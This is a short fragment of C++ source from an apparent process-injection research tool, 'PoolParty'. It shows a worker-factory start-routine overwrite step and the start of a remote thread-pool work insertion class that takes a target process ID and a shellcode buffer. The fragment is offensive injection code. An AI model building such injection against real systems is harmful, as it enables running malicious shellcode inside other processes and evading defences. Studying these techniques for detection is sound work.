| 99 | } |
| 100 | |
| 101 | void WorkerFactoryStartRoutineOverwrite::SetupExecution() const |
| 102 | { |
| 103 | ULONG WorkerFactoryMinimumThreadNumber = m_WorkerFactoryInformation.TotalWorkerCount + 1; |
| 104 | w_NtSetInformationWorkerFactory(*m_p_hWorkerFactory, WorkerFactoryThreadMinimum, &WorkerFactoryMinimumThreadNumber, sizeof(ULONG)); |
| 105 | BOOST_LOG_TRIVIAL(info) << boost::format("Set target process worker factory minimum threads to: %d") % WorkerFactoryMinimumThreadNumber; |
| 106 | } |
| 107 | |
| 108 | RemoteTpWorkInsertion::RemoteTpWorkInsertion(DWORD dwTargetPid, unsigned char* cShellcode, SIZE_T szShellcodeSize) |
| 109 | : PoolParty{ dwTargetPid, cShellcode, szShellcodeSize } |
no test coverage detected